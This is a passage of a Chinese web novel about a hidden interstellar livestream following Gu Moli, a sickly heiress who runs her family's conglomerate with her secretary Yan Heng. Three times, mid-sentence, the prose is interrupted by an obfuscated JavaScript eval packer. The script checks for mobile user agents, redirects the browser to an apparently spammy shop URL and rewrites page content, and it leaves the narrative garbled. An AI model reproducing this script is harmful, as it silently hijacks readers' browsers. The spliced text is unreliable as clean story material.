他站在那,眉眼渐渐柔和,低沉的嗓音含着轻浅的温柔。 “我的荣幸。” 两人相对而立,晨光从身后洒过来,却被高大的身影尽数挡住,纤瘦的少女被护在羽翼下,微风拂过她的衣角,带来淡淡花香。 假山、湖泊、绿树皆成为他们的陪衬,喧嚣的钢铁城市沉寂下来,只余下两人唇角久久未曾散去的笑。 【直播间热度+200000,当前观看人数400000+,主播生命值+2】 5.京圈茉莉花 人类是个很神奇的物种,他们拥有聪明的大脑,可以利用各种工具改变世界、达成他们所想;也拥有百折不饶的意志,无论多么困难、遭遇多少挫折,始终有人不放弃不抛弃,秉承前人志愿奋发图强;更有审时度势之机变,会在明知不可为时蛰伏、静观其变,等可为时顺势而起,借势发力。 这样的品质赋予了他们一种强大的生存能力,不管是在母星地球,还是在浩瀚未知的宇宙太空,他们总能找到自己的位置,并且越做越大,直到再次成为霸主。 从寥寥无几的幸存者,到占领其它行星的殖民者,从无人在意的弱者,到与星际原始种族碰撞、战斗、妥协,最后反败为胜,这个过程他们耗费了数千万年。 当然其中少不了的还有无尽的内斗。 星元1203年,人类联合政府发生叛乱,叛军从联邦中脱离成立帝国,叛军首领肆意恢复地球时期封建社会的帝制,却因严重的剥削和阶级矛盾频发,最终又分裂为四大势力,以皇家为首,其它三个军团各占一方,共同抵御外敌。 这是人类探索和征服宇宙的战争史,也是人类基因和生理机能的进化史。 如同为了更有效的行走、奔跑,人类学会了直立行走和站立一样,为了适应星际环境以及高频率的战争,人类开发出了精神体,拥有了不同程度的攻击力或防御力。 而与此同时,一些不必要、甚至会影响战斗状态的习惯和功能自然也被舍弃了。 比如对爱情的追求,比如对繁衍后代的欲望—— 感情需求永远在生存需求得到满足之后。 人类幼崽时期又过于漫长,可残酷的现实环境却给不了他们足够的成长时间,自然法则永远都是“物竞天择、优胜劣汰”,生存不了那就不要。 等到人类的地位得以确立,战争不再是常态,领导层惊觉生育率过低时,已经改变的生理机能却再也回不去了。 哪怕有培育皿,只需提取伴侣双方的生殖细胞就可以人为孕育后代,也很少有人愿意主动去尝试。 科技的发展和精神体的开发,将人的寿命无限拉长,依然存在的外族威胁让大众极度崇拜强者,对提升自身能力的热情远远高于所谓的伴侣和后代。 为此联合政府和帝国都曾采取了种种措施,试图促进人口增长,可惜收效甚微。 正在这个时候,一档直播节目进入了某些人的视线。 “您瞧,我专门让人去做了两份调查问卷。”辛署将两份文件放到一位身着军装的男人面前。 “这是没看直播的人关于生育的看法,只有1%的人觉得可以在适当时候考虑寻找伴侣,这些人中赞成生育后代的却不足两成,可是观看了直播的观众这个比例却达到了五成。” 季沛霖抬起头,接过文件仔细端详,“你觉得是这个直播的原因?” “对,我几乎翻遍了评论,除了一些无关紧要的,剩下的观点主要集中在两方面,一:喜欢主播,从喜欢她的颜值到莫名其妙喜欢她这个人。” 辛署点开光脑相册一张一张划着,有顾茉莉打着伞站在雨幕下、弱不胜衣的模样,也有她闭着眼面容苍白、显然在昏睡,还有她抱着猫仰头微笑,清澈的眼眸既温柔又明亮。 “她身上似乎有种魔力,能让人不由自主想呵护,很多人表示如果对象是她,他们会乐意结婚。”辛署说着顿了顿,原本公事公办的神色也变得有些不好意思,“其实我也挺喜欢……” 季沛霖看着照片,又看了看他,没有发表意见,只问:“那第二种呢?” “还有一部分是觉得主播和别人相处时的气场和氛围很甜,甜得他们想一直看。” 相册继续划过,顾茉莉的单人照片过后是她和翟庭琛的双人照片,甚至还有她和徐峰的。 “已经有人为了她和哪个更配争执起来了,如果之后还有其他人,想来这个争论会越来越大。”辛署关闭光脑,努力恢复成一本正经。 “我认为大家抵触婚姻有很大一部分原因在于他们没有体验过爱情的甜蜜,若是有一个渠道能让他们看到爱情或婚姻的美好,即使我们不催,他们也会自发的感到好奇,从而想要自己去尝试。只有爱伴侣,才会想要和她孕育后代,想要一个体内拥有我和她共同基因的孩子。” 季沛霖面无表情的瞥了他一眼又一眼,直把辛署看得心虚的低下头,他才挪开视线。 “你的意思。” “……大力推广这个直播间,让越来越多的人看到并且喜欢。” “如果我没记错,这个项目是由古地球研究院一力促成,而他们背后最大的金主是谁你不会不知道吧?” 辛署默了默,他当然知道,是帝国皇室。 据说他们的祖先原本就是地球时的皇室后裔,所以他们才对帝制尤其维护,并且热衷于复兴地球文明。 “你的意思是花我们的钱帮皇室宣传?”季沛霖往后一靠,再次打量这个得力助手,“我是不是应该重新考量下你的政治立场了?” “执行官大人!”辛署大惊,赶忙就要解释,他的忠心天地可鉴啊。 季沛霖却摆手,阻止了他继续往下说,“行了,先按你的意思办吧。” “啊?”辛署难得脑子有些卡壳,这是怎么话说的,刚才还在怀疑他的立场,怎地下一秒就同意他的想法了? 季沛霖没言语,说怀疑他,不过是小小的提醒和警告罢了,有问题的人他不会留在身边这么久。 他能肯定他和帝国那边没有任何瓜葛,但是不代表他提出这项建议没有私心——正如他所说,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628236|143500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也对那个主播有好感,即使现在那份好感尚且浅薄,可也在他还未察觉的时候影响了他的某些判断。 他重新望向那份文件,这也是他最终同意的原因: 这么短的时间,隔着现实与虚幻,都能把一个平时谨慎惯了的人影响得失了分寸,那么其他人呢? 将这份影响力扩大,或许真会如他所说达到提升生育率的效果。 战争需要人口,发展同样需要。古人有句话:“不管黑猫白猫,只要能抓到耗子就是好猫。” 私心可以有,只要最终目的不偏移,他可以假装没发现。 “不过有一点我要提醒你。”他点了点文件上的一行字,“主播不知道直播的存在,就意味着她存在做错事的风险,如果观众因此由爱生恨,反而对伴侣、婚姻敬而远之,那这个责任又该由谁来负?” “……” 辛署沉默了会,一咬牙行了个军礼,声音铿锵:“我负责。” 季沛霖挑眉,却没再多说,“那就去办吧。” 等人走了,他才打开自己的光脑,不用多费心搜索,便在星网首页最末尾的位置找到了那个名为“荔枝乡里玲珑雪,来助长安一夏凉”的直播间。 季沛霖想了想,终于在遥远的记忆里扒拉出这句话的出处,正是古地球时期赞颂茉莉花的一首诗,意为将荔枝故乡岭南的茉莉花移栽到长安,给夏天的人们带来了凉爽。 这是在以长安代指帝国首都?亦或者是指全星际? 他垂眸盯着屏幕,直播封面是一朵盛开的茉莉花,小巧玲珑的花朵,纯白的花瓣,离得近了似乎还能闻到一股清幽的花香。 他想起来了,那首诗后面还有一句——“情味于人最浓处,梦回犹觉鬓边香”。 茉莉花的香气最是馥郁,戴在头上,做梦都能闻到鬓发上的香味。 * “顾小姐,到了。” 司机回过头,就见后座的美人迷蒙的睁开眼,好像刚从睡梦中醒来,眼里犹带两分茫然。 他忍不住懊恼,早知道不该出声的。 就是这么一迟疑,顾茉莉已经清醒过来,她看了眼窗外,宽阔又拥挤的道路、高耸入云的大厦、熙熙攘攘的人群,是与海上截然相反的热闹和喧嚣,更是不同于末日尸体横陈般的安宁、祥和。 那星际呢? 是机甲战车,还是星船遨游?是银河漫步,还是危机四伏? 她望着车窗上自己的倒影,看着那张如月似雪般的容颜,轻轻弯了弯眼。 她不知道为什么她能看见弹幕,也不知道为什么她还记得一切。 但是既然神再次眷顾了她,那她就会做到最好。 茉莉香冷,能照亮长夜,让夏日清凉,也能让红尘褪去仓惶,引众生向往。 6.京圈茉莉花 “谢谢你。” 顾茉莉下了车,先转头对着站在门边的徐峰笑了笑,而后朝里面挥手,“麻烦翟先生送我过来了,我走啦。” 翟庭琛微侧着身,神色清淡,但眸光却很柔和,“顾总以前的秘书是他资助的学生,我曾有过一面之缘,能力不知,但人品尚可。” 顾茉莉一愣,明白了他的意思。 资助过证明顾家对他有恩,人品过关说明他会记着这份情,至于能力不知……若是能力真的不行,顾父也不可能将他提拔成秘书,这个职位一般人可拿不起。 她以前从未接触过集团相关事务,很多人甚至不知道顾家还有位大小姐,这时候就需要一个既信得过又有能力的人帮忙,她才能尽快上手。 退一步说,哪怕她一点商业知识都不懂、根本管理不了公司,只要她肯用这个人,顾氏一时半会就倒不了。 她看向车内,他背光坐着,并不能完全瞧清面容,她又看向他的手腕,那串佛珠被他捏在手里,暗褐与白皙交衬,让人不忍亵渎的同时又止不住的生出琦思。 这是个皮相与骨相俱佳的男人,或许是长年与佛珠相伴,沾染了些佛性,他身上有种千帆过尽后沉淀下来的宁静。 “谢谢。”顾茉莉弯下腰,望进他的眼,真诚道谢。 翟庭琛唇角微扬,“你说了太多谢谢了。” “我有预感今后可能还要说很多。”顾茉莉也笑,状似苦恼地敲了下脑门,“怎么办,感觉还不完了。” 那就不要还。 翟庭琛垂了垂眼,一直乖乖趴在他腿上的木铎似有所感,轻轻叫了一声。 “那你能帮我照顾木铎几天吗?”他突然问。 “照顾木铎?” “嗯,我过两天要去国外一趟,有些不放心它。”翟庭琛一下一下揉着木铎的下巴,猫儿舒服的直咕噜,声音又软又绵,惹得路过的小女生都忍不住回头瞧,满眼都是渴望。 吸猫真的会上瘾! 顾茉莉疯狂心动,“可是我没养过,怕照顾不好……” “没关系,伯曼猫很好养。”翟庭琛抱起猫递过去,“它很喜欢你。” 木铎仰着小脑袋,一双宝蓝色的眼睛水汪汪的,尾巴一摇一摆,可爱的模样看得人心都要化了。 顾茉莉抵抗不住这种诱惑,赶紧伸手将它抱进怀里,“我会努力照顾的!” 翟庭琛眼底漾起笑意,直到人进了大厦再也看不见了才收回目光。 “走吧。” 徐峰坐上副驾驶,飞快瞥了眼后视镜,难为老板怎么想出这么一个“拙劣”的理由。 祇园最不缺的就是人,尤其对木铎,专门侍候它的人就不止七八个,负责打理毛发的、负责饮食的,还有定期检查的,分工明确、各司其职,堪称祇园二主子,缺了谁的都不可能缺了它的。 “待会给林嫂打电话,让她把木铎的东西收拾出来,等我走了再联系顾家。”翟庭琛低头理着袖扣,视线在佛珠上停留几息。 “再去寻串莺歌绿。” 司机暗自咂舌,莺歌绿啊,明末清初屈大均曾在《广东新语》中对各种奇楠进行了品第区分,曰:“上者莺哥绿,色如莺毛”。 即最高级的奇楠颜色就像是黄莺的羽毛,绿多黄少,且伴随着莹光闪烁。 光听描述就能想象有多漂亮,怕不是寻来要送给顾小姐的吧? 徐峰也是这么想。 之前还奇怪怎么手串又回到了老板手上,原来是打算送她更好的。 翟庭琛抚着右手,柔和褪去,眸底又重新归于淡漠。 按理说佛珠一般佩戴在左手腕上,因为在佛教看来,杀戮、放火、污秽等佛家禁止的一切恶行都是由右手完成,它是污秽和邪恶的来源,释放的能量自然也是污浊的。 而左手不杀生,属于净手,戴在左手上可以吸收到干净的能量。 可是他戴的右手。 翟庭琛望向窗外,明媚的光影映在他脸上,却感受不到一点温暖。 有些罪恶他需要压住,但不能带给她。 * 严恒第一次见到顾茉莉,就见她带着一只猫。 可能是初到陌生环境有些紧张,猫儿四肢紧紧扒着她的胳膊,缩在她怀里安静又乖巧。她一手抱着猫,一手轻轻抚摸它的头顶,似在安抚。 雪白的毛发与玉骨冰肌,一时竟是分不清哪个更白。 他低头盯着脚尖,说实话有那么一刻他觉得她不该出现在这里,不该出现在尔虞我诈的商场,而是该待在温暖的花园里做她漂亮的公主。 可惜,国王和王子都不见了,只剩下柔弱的公主面对疾风骤雨。 严恒抿了抿唇,不着痕迹的往后退了一步,隐入迎接的人群中。 然而令他万万没想到的是,公主绕开了那些人,径直走到他面前。 一阵馨香袭来,清幽卓然。 他愣愣抬头,公主歪头而笑,友好中透着一丝亲近,“你是严秘书吧?我听说过你。” 听说过他? 严恒面上没有露出异样,掌心却慢慢攥紧。一个自小体弱多病、几乎从未见过外人的女孩居然知道他…… 她听谁说的,顾叔还是小顾总?他们又说了什么? “有人告诉我,你信得过。”顾茉莉敛了笑,黑白分明的眼眸倒影着他的身影,清澈得仿佛能望进人心底。 “对吗?” 她认真的问,也在认真的等着他回答,好像只要他说一声对,她就会无条件相信。 周围人都怔住了,其中几人互相对视一眼,神情都有些惊疑不定,难道顾总之前还做了其它准备? 一瞬间没人敢说话了,这位公主瞧着确实不谙世事,可严秘书却不是好相与的。如果顾总早有安排,公主真一心信任他,那他们原先打的那些小算盘只怕要偃旗息鼓了。 有诸葛亮的刘禅和没有诸葛亮的刘禅可不一样。 当然,也不是说这位小公主就一定是扶不起的阿斗,但不管她能力怎么样,她是新手,适应公司需要时间,他们却是有不少拥趸的元老,占尽天时地利人和。 可是如今所有优势就这么没了。 有人扼腕叹息,有人心有不甘,严恒则是满心复杂。 他觉得顾茉莉说的“有人”指的是老顾总,他资助他上学,又安排他进公司、亲历亲为的带着他,别人都以为是看重他的能力,想培养他辅助小顾总。 但他身在局中更知道,他是想将他当成一把刀使,一边用他督促、磨砺小顾总,一边为小顾总上位后解决那些倚老卖老的家伙做准备。 他以为他是炮灰,也曾犹豫过要不要离开这里,他自信以他的能力,就算独自拼搏也能闯出一片天。 但是此刻她告诉他,原来顾叔这么信任他,所以他以前认为的那些都是假的吗? 又或者他信任他是真,拿他磨刀也是真? 还有这个小公主,别人那么说,她便那么信,对着他这个素未蒙面、一点都不了解的陌生人都敢交付这么大的信任,该说她是天真单纯,还是说她蠢。 “严秘书。”顾茉莉突然又叫了他一声。 严恒望过去,还是那双眼,不过里面重新溢满了笑意,如同一个故意装大人的小孩没坚持几秒就破了功。 她伸出手,朝他偷偷眨了眨眼,“以后请多指教。” 严恒手指攥了又松,松了又攥,到底还是抬起,握了上去。 “顾总,劳您指教。” 一声顾总,一份承诺,我会帮您坐稳这个位置,既为了还老顾总的恩情,也为了您这份信任。 * 出乎所有观望的人预料,看似风云飘摇的顾氏竟是以迅雷不及掩耳的速度稳定了下来。 周六上午十点,假期的第一天,在大部分人放松的刷着手机时,顾氏召开记者发布会,宣布由顾家二小姐顾茉莉担任集团代理董事长一职。 会上不仅向大众陈述了今后顾氏大致的发展方向和规划,还宣布将成立一个慈善基金会,集团每年2%的收益都会投入进去用来做公益。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651519|143500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个消息一出,哗然声一片。谁也没想到原以为会有二房和三房之争,最后居然还是落在了大房头上,而且还是未曾听闻的“二小姐”。 随后顾茉莉在严恒的陪同下开始视察顾氏旗下子公司,一为安定人心,二也是让员工们见见大boss,别到时候大水冲了龙王庙,连顶头上司都不认得。 这一视察不要紧,网上着实热闹了好几天,因为有人偷拍了她的照片发到了社交账号上。 比明星还出挑的颜值和身材,名门闺秀般优雅的举止和我见犹怜的气质,以及“年纪轻轻便是大集团董事长”的传奇光环,还有父母离世、哥哥失踪、临危受命的坎坷经历,让她迅速走红。 网友称她为“现实版美强惨”,怜爱粉、慕强粉、颜值粉,以及大批看热闹的路人蜂拥而至,顾氏官方账号一夜间涨粉千万,不但网友讨论,连各大蓝v红v都争相下场。 金融博主科普顾氏的能量和市值,科技博主细数他们旗下有哪些科技产品,甚至有玄学博主分析她的面相,言她有大富大贵之命,只可惜寿数有碍,被粉丝好一顿喷,毕竟谁都能看出来她身体不太好。 又听说她长年在医院,连学都没上,全都请的私人家教,更是心疼的无以复加。 【我女儿没亲人没朋友,谁要是想欺负她,我跟他拼了!】 为了表达他们这种支持的心情,无数人涌向顾氏商场、电影院和电商平台疯狂下单,暴涨的成交额让相关负责人们笑得合不拢嘴。 等周一一开盘,顾氏股价终于一改近日来的颓势,股价逆势上涨38.4%,盘中一度涨超50%,最新总市值达到1.7万亿。 股民们的心定了,董事会也彻底安静了,懂行的人谁看了不得说一句:“牛啊!” 这一手玩得实在漂亮,一举拉回了股价不说,还反向做了一波宣传。 “以后顾氏都不用请代言人了。”郁栩文浏览着网上的各种消息,不由就笑,“顾小姐一人的影响力能顶两个顶流。” 不花钱还能白赚,多好。 “好什么好,这会给她带来多大麻烦你不知道吗!”叶骁猛地将手机一扔,翻身从沙发上坐起。 “她又不是公众人物,干嘛把她推到台前?网络这东西是好用,可也是把双刃剑,此时看着风光无限,说不准下一刻就对你口诛笔伐,她身体本来就不好……” 他越说越气,端着水杯连喝了好几口也没压下胸口的那股憋闷,“肯定是那个严恒的主意,一个秘书,谁知道是真心的还是想害她!” “那倒不至于。”郁栩文无奈,“他的风评还是挺不错的,之前我还听说顾婕出了高价挖他都没挖成,这次也多亏了他才能力挽狂澜,凡事都有利有弊,只要利绝对大于弊就是正确的决定。” 这么浅显的道理他不会不懂,说到底还是心乱了。 郁栩文看了看被扔得碎了屏的手机,倾身靠近叶骁,“真喜欢上了?” 叶骁下意识挪开视线,不与他对视,“什么喜欢不喜欢,我、我只是看不惯他们这么欺负一个小姑娘!” “是吗?”郁栩文笑了笑,直起身,状似无意的道:“我还以为你不怕顾皎皎了。” “和她有什么关系!” “她们可是堂姐妹,亲亲的。”郁栩文一脸“你不会连这个都忘了吧”的表情,“她痴恋你多年,如果知道你喜欢她堂妹……” “少和我提她!”叶骁倏地站起,直接往外走,不一会房门被大力阖上,只留下一句—— “再有下次,朋友都没得做!” 郁栩文手肘抵着膝盖,低垂的眉眼瞧不清眼底的神色。 他知道他不是无意,他也知道他不是赌气。 他盯着茶几上的两杯花茶,一杯饮尽、一杯未动,他端起没动的那杯,慢慢喝着。 茶香混合花香,浓醇清香,只可惜似乎泡的太久,多了丝微微的苦。 堪爱芳怀淡雅,纵离别,未肯衔愁。 浸沉水,多情化作,杯底暗香流。* 7.京圈茉莉花 “顾总……” 严恒刚走进办公室,就听见一阵哗啦啦的响动,像是在寻找着什么,又像是在遮掩,紧跟着便是轻微的撞击声和小小的呼痛声。 他脚步微顿,假装没有听见,继续面无异色地走过去,“这是这个月的报表以及需要您签字的文件。” 他放下资料,对桌上乱七八糟的景象和地上散落的零食袋视若无睹。 “那个什么……”顾茉莉捂着一堆东西,尴尬地抬起头,“这些不是我弄的……是……” 她眼神飘忽,显而易见的心虚,正不知该怎么解释,眼角余光瞥见墙角的一道白影,她立马眼睛一亮,指过去,“是木铎……对,就是它,它实在太调皮了,我好好工作着呢,它总来捣乱!” 趴在落地窗前、正懒洋洋晒着太阳打盹的木铎支起耳朵,“喵?” “咳咳。”顾茉莉不自在的揉揉发烫的脸颊,装作没有看见它眼里的疑惑。 严恒瞥了眼那些包装上的字,薯片、虾条、棉花糖,甚至还有辣条,表情似笑非笑。 你说这些零食是给猫吃的? 还有你指猫就指猫,但是你是不是忘了你胳膊底下还压着东西,有本漫画书露出来了! 看来那只猫是真的成精了,不仅爱吃人类的零食,还看得懂漫画和字。 那道显示屏上也快笑疯了: 【好好好,栽赃陷害是吧?也就只能欺负欺负地球时期的小猫了,星际的“动物”可都会说话,看你到时候还怎么狡辩hhh】 【瞧出来了,小茉莉肯定一直都是乖宝宝,怎么连偷吃都不会啊!(恨铁不成钢)(指指点点)】 【可怜见的,她以前的生活是有多苦,现在才什么都想吃、什么都想看啊QvQ】 【好可爱好可爱,好想抱回家养!麻麻向你承诺给你绝对的零食和漫画自由!】 季沛霖看着屏幕上不断增加的“想要个同款女儿”的留言,手指下意识敲击着桌面。 也许辛署是对的,推广这个直播间确实大有裨益。 他将直播切成小窗,准备再唤他进来,无意中却扫见了上面的倒影,忍不住一愣。 那翘着嘴角、一脸笑意的人……是他? 他摸了摸脸,依然扬起的弧度告诉他,是的,他确实在笑。 竟然不知不觉间也被影响了。 可是为什么? 他重新看向屏幕,镜头正巧对着那个女孩的脸,她仰着脑袋、自下而上的望着他。五官精致而小巧,似乎还没有他巴掌大,清亮的眼眸微微耷拉,显得可怜又无辜,如同刚出生的幼崽,透着渴望和期盼。 没人能拒绝这样的眼神,所有看到的人脑中只有一句话—— 【给她给她!她想要什么都给她!】 严恒也不能,对着那双眼,什么医生的交代、辅助“新王”的豪情全都被抛到九霄云外,只想溺爱、溺爱,再溺爱。 他无奈扶额,决定只纵容这么一次,下次、下次如果再看到她这样,他一定……一定冷酷无情的全部没收! “待会我带木铎去检查下身体,‘吃’了这么多东西,出了问题就不好了。”严恒一本正经,丝毫没有理会木铎不可思议般的目光。 它到底做错了什么,不但要背锅,还要被迫做戏做全套,看了医生,是不是还得打针? 一向乖顺的猫炸毛了,飞快跳到书案上冲着严恒就龇牙,你别太过分! 什么,罪魁祸首是它身后的那个人?听不见听不见,猫猫听不懂。 对此星际网民们:【你们就纵容吧,有本事让我们也纵容一下!】 严恒瞅了眼那只猫,轻轻拨开它,它压到那些文件了。 “最上面的几份比较紧急,还请您尽快处理。” 他特意在“尽快”两个字上加重了音量,意思不言而喻—— 别偷懒了,该干活了! 不是他不想替她做,而是他毕竟只是个秘书,如果所有事都由他一手处理,那底下的人会怎么看她? 被架空的天子,臣子不会有敬畏之心。 “严秘书,你知道刘禅做了多少年皇帝吗?”顾茉莉看了看那些文件,取下一份,一边一目十行一边问。 严恒不是很理解这话的意思,他大学学的金融专业,对历史只能说有涉猎,却并不精通。 “多少年?” “四十一年。历史上总共经历了四百九十四位皇帝,在位年数超过四十年的,只有十二位,刘禅就是其中一位。”顾茉莉合上文件,笑语宴宴。 “提起他人们第一反应便是‘扶不起的阿斗’,说他昏庸、说他痴傻,还有那句‘此间乐,不思蜀’,让他受了千年骂名,可他却坐稳皇位四十一载,是三国时期在位时间最长的君主,你觉得是为什么?” “……为什么?” “我觉得很大一部分原因在于四个字——从善如流,或者也可以说‘听话’。”顾茉莉抬起眼,与他四目相对。 “他继位之初任由诸葛亮全权辅政,军国大事尽由丞相一人处置决断,正所谓‘政事无巨细,咸决于亮’,不管别人怎么说,始终做到了不猜疑、不畏惧。等到诸葛亮去世,他又对他的遗嘱全盘接受,诸葛亮说蒋琬靠得住,他就任命蒋琬为大司马,允许他开府、负责北伐事宜。等到蒋琬病重,举荐费祎、董允,他也照单全收。 仅这四位大臣就辅佐了他长达三十年,也就是后期蜀中人才匮乏,他再找不到合适的‘施政代理人’,蜀汉才逐渐走向了灭亡。” 她歪着头,眼里的信任一如那天第一次见面。 “我不知道这么大集团的董事长该怎么做,但是我想我可以学一学刘禅,所以严大秘书……” 文件再次被递过去,伴随着清悦疏朗的笑声。 “这些还得麻烦你啦。” 严恒直到抱着文件出了办公室还在愣神,心脏砰砰砰的跳,仿佛急切的想要冲出胸腔。 他紧紧按住,却始终无法平静,脑海里尽是她的一颦一笑,每个眼神每个动作一帧一帧的回放。 她充满信任的眼、俏皮可爱的笑,还有伸过来不经意间触碰到的指尖…… 一切的一切,都让他的心像是泡在热水里,又酸又胀。 从未有人这么对他,毫无保留。 他出身平凡,很小的时候父母就离异了,而后各自组建家庭,又各自有了另外的小孩。他跟着奶奶长大,后来奶奶去世,他便成为没人要的累赘。 明明双亲皆在,却再没了家。 他记得很清楚,有一年冬天因为迟迟交不上学费,老师将他从学校里赶了出来,表示再不交以后就都别来上学。他没办法,只得冒着雪去了父亲家,然后隔着大门看到了幸福的一家四口。 暖和的屋子、笑得宠溺的父亲,嬉笑玩耍的孩子,还有嗔怪抱怨的母亲,他们知道他就在门外,可是没有一个人给他开门,任他在寒风中站了几个小时。 其实学费又有多少?不过几百块钱而已。 但他就是求不来。 从那时候他明白了一个道理,不能指靠任何人,哪怕那是你血缘上的父母。 也是那一天,他遇到了顾叔,他开始资助他上学,他不用再为学费发愁,也不用为将来发愁。 因为他把将来卖了。 某种程度上来说,那就是种等价交换。他用未来换取了容他成才的时间和机会,顾叔则用极小的代价做了项投资。 他所有的经历都告诉他,先要有付出,才会有回报。 可是现在出现了一个例外。 有个人在第一次见面时就能穿过人群走到他面前,告诉他她信他。 也是她,在坐稳了位置、可以一脚将他踢开时,没有那么去做,反而更加放手的将一切事务都交给他。 这份情,他又该怎么去还? 严恒回身盯着办公室的门,眸光起起伏伏、晦涩难言,似乎在透过木板注视着某个人。 不知过了多久,他猛地拉开门,神色带着丝义无反顾,“顾……” 顾茉莉懵懵的转过脸,嘴角、下巴上全是奶油,“还有事?不是说了都你处理嘛,不用问我……” 眼见着对方表情越发难看,她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660434|143500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才反应过来,完了,偷吃又被抓包了! “顾茉莉!!”一声咆哮响彻顾氏顶层,吓了其他员工一跳,差点以为地震了。 严恒简直要被气死,她说了那么一大通话,他又是感动又是惊讶又是佩服,还在外面站那么久,纠结得心都跟着颠来倒去,她呢? 悠闲的窝在老板椅上,一手蛋糕一手冰激凌,面前一本摊开的漫画书,对面电脑里还传来“咯咯咯”的笑声,怕不是哪档综艺节目。 敢情那些冠冕堂皇的话,什么“她想学刘禅”、什么“放心交给你”,只是她用来偷懒的借口?! 他又看向自己捧着的那摞材料,怎么拿进去的,又怎么拿回来了。 好啊,真是太好了,忽悠他是吧? 他咬牙切齿,大步走过去,将文档重重放下,“今天不处理完,别想下班!” 说完,他又拿起垃圾桶,把桌上、茶几上的东西全扫进去,一字一顿:“一周不许吃零食,不,两周!” “欸?!” 顾茉莉大惊失色,“你不能这样!” “不是想学刘禅吗?”严恒语气阴恻恻的,“他尊诸葛亮为相父,你要不要也学学?” 顾茉莉:“……” “刘禅曾经想扩充后宫嫔妃的数量,董允以‘自古天子后妃不超过十二名’为由劝阻,刘禅立马打消了主意,这种从谏如流、克制私欲的决心你要不要也学学?” “……”顾茉莉忍不住缩了缩脖子,身形都似乎变小了。 “刘禅自幼年起便在刘备的安排下拜师学习,不但要学诸子百家,更要练习骑射武艺,这种勤奋刻苦、努力上进你是不是最该学?” 顾茉莉愧疚的低着头作鹌鹑状,内心不禁腹诽:“不是说不精通历史吗,连这些都知道……” 严恒冷笑,他不精通的是那些年份和年号,让他说哪一年是哪位皇帝在位他不一定知道,但是这些历史小故事他可看了不少。 也就是她神态太诚恳,语气太蛊惑,他才一时入了套,不然以她的手段想蒙过他? 呵呵。 “木铎我带走了,手机、电脑都没收,什么时候处理完这些,”他拍了拍如小山般的文件,眼里透着威胁,“什么时候才能出门,明白吗?” “……太多了,少一点吧……”顾茉莉伸出手指比划着,“就一点好不好?” “我那还有很多。”严恒状似要出门,顾茉莉赶忙拉住他。 “别别别,就这些,就这些!” 早这样不就行了,白白让自己气一场。 严恒轻哼,看着她揪着他衣袖的手,小小嫩嫩的,手背上还有一个青色的针点。 那是上次输液留下的,快一周了也没消掉。 他的心不由就软了软,从那堆文件里抽出几沓,转身快步离开。 算了,以她的速度想处理完估计得忙到天黑,她不能走,他就得陪着,何苦来哉。 反正绝对不是想帮她! 顾茉莉望着他稍显仓促的背影,又瞧了瞧桌上少了一大半的文档,忍不住笑了。 口是心非、嘴硬心软,说的就是他吧? 她坐回位置,先探头朝门口瞅了瞅,确定他一时半会不会再进来后,才弯腰从书桌下拖出一个袋子。 里面酸奶、可乐、果汁等各种饮料应有尽有。 她取出一盒,插上吸管,满足的喝了一口,瞬间眼睛都弯成了月牙。 想不到吧,她还留有一手。 那得瑟的小模样如同偷了腥的猫,看得人真想上手摸一摸。 直播间弹幕刷得飞快,一部分对她花式表白,一部分喊着“好甜好爱”,软萌女总裁与老妈子男助理相爱相杀什么的,不要太好磕! 于是,所有人都忽视了,刘禅之所以能在诸葛亮去世后还坐稳皇位那么多年,是因为他在给予各位辅政大臣充分信任的同时,还通过任命不同的官员各司其职实际上掌控了蜀汉的最高权柄。 他是从谏如流,他是听话,但他也会帝王权术。 正所谓——“梅花宜冷君宜热,一样香魂两样看。” 8.京圈茉莉花 严恒嘴上说归说,心里吐槽归吐槽,办事效率却丝毫不含糊,不管什么事交到他手上,他总能以最快的速度得出最完美的方案。 再加上顾茉莉的“全力支持”,他没了掣肘和顾忌,做起事来更加得心应手,能力、才华得到完全施展,一时间顾氏局面大好,一派欣欣向荣之象。 当然,在不知情的外人和集团内部员工眼里,这些都是新上任的董事长的功劳。 没人知道总部大楼顶层每天都上演着怎样戏剧性的画面,也没人知道种种决策背后隐藏着的那个高大却低调的身影。 所有的光环和掌声都给了台前的顾茉莉,是她力挽狂澜拯救了岌岌可危的顾氏,是她在紧要关头拯救了家族产业,保住了父兄的心血。 她不再是“年轻、病弱、声名不显”的顾家二小姐,而成为了才能不俗、极具商业头脑和眼光的顾氏掌舵人—— 前者光鲜亮丽,却可能作为联姻对象被考量,后者连在商场摸爬滚多年的长辈都会给予一定尊重。 这种身份的变化同样体现在她不断接到的邀约中。 